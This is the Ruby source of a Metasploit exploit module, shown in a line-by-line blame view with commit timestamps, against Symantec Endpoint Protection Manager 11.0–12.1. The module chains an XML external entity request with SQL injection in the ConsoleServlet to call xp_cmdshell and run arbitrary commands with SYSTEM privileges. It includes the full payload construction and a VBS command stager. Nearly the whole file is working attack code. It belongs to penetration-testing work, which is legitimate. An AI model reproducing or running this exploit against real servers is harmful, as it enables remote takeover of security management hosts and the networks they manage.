2014-02-24 08:01:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-02-24 08:01:13 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2014-02-24 22:00:54 +00:00
|
|
|
require 'msf/core/exploit/powershell'
|
2014-02-24 08:01:13 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
include REXML
|
2014-03-21 22:36:06 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2014-02-24 08:01:13 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
|
2014-03-03 20:12:22 +00:00
|
|
|
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
|
2014-02-24 22:00:54 +00:00
|
|
|
can reach SQL injection affected components. As xp_cmdshell is enabled in the included
|
2014-03-03 20:12:22 +00:00
|
|
|
database instance, it's possible to execute arbitrary system commands on the target
|
2014-02-24 22:00:54 +00:00
|
|
|
with SYSTEM privileges.
|
2014-02-24 08:01:13 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Stefan Viehbock', # Discovery
|
|
|
|
'Chris Graham', # PoC exploit
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-5014' ],
|
2014-02-24 22:00:54 +00:00
|
|
|
[ 'CVE', '2013-5015' ],
|
|
|
|
[ 'EDB', '31853'],
|
|
|
|
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
|
2014-02-24 08:01:13 +00:00
|
|
|
],
|
2014-02-24 22:00:54 +00:00
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2014-02-24 08:01:13 +00:00
|
|
|
[
|
2014-02-24 22:00:54 +00:00
|
|
|
['Windows VBS Stager', {}]
|
2014-02-24 08:01:13 +00:00
|
|
|
],
|
2014-02-24 22:00:54 +00:00
|
|
|
'Privileged' => true,
|
2014-02-24 08:01:13 +00:00
|
|
|
'DisclosureDate' => 'Feb 24 2014',
|
2014-02-24 22:00:54 +00:00
|
|
|
'DefaultTarget' => 0))
|
2014-02-24 08:01:13 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(9090),
|
2014-02-24 22:00:54 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The base path', '/'])
|
2014-02-24 08:01:13 +00:00
|
|
|
], self.class)
|
2014-06-28 21:40:49 +00:00
|
|
|
deregister_options('CMDSTAGER::FLAVOR')
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path),
|
|
|
|
'method' => 'GET',
|
|
|
|
})
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
|
2014-02-24 08:01:13 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
def exploit
|
|
|
|
print_status("#{peer} - Sending payload")
|
2014-02-24 08:01:13 +00:00
|
|
|
# Execute the cmdstager, max length of the commands is ~3950
|
2014-06-28 21:40:49 +00:00
|
|
|
execute_cmdstager({:flavor => :vbs, :linemax => 3950})
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
|
|
|
|
command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
|
|
|
|
|
|
|
|
# Generate random 'xx032xxxx' sequence number.
|
|
|
|
seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
soap = soap_request(seqnum, command)
|
2014-02-24 08:01:13 +00:00
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
|
|
|
|
xxe = post_data.to_s
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => { 'ActionType' => 'ConsoleLog' },
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
'data' => xxe,
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.body !~ /ResponseCode/
|
2014-02-24 22:00:54 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
def soap_request(seqnum, command)
|
2014-02-25 08:23:10 +00:00
|
|
|
randpayload = rand_text_alpha(8+rand(8))
|
|
|
|
randxxe = rand_text_alpha(8+rand(8))
|
2014-02-25 13:58:00 +00:00
|
|
|
entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"
|
|
|
|
entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
|
2014-02-24 08:01:13 +00:00
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
xml = Document.new
|
|
|
|
xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
|
|
|
|
xml.add_element("Request")
|
2014-02-25 08:23:10 +00:00
|
|
|
xxe = xml.root.add_element(randxxe)
|
2014-02-24 22:00:54 +00:00
|
|
|
xxe.text = "PAYLOAD"
|
2014-02-24 08:01:13 +00:00
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
xml_s = xml.to_s
|
|
|
|
xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
|
2014-02-25 08:23:10 +00:00
|
|
|
xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding
|
2014-02-24 08:01:13 +00:00
|
|
|
|
2014-02-24 22:00:54 +00:00
|
|
|
xml_s
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
2014-02-24 22:00:54 +00:00
|
|
|
|
2014-02-24 08:01:13 +00:00
|
|
|
end
|
|
|
|
|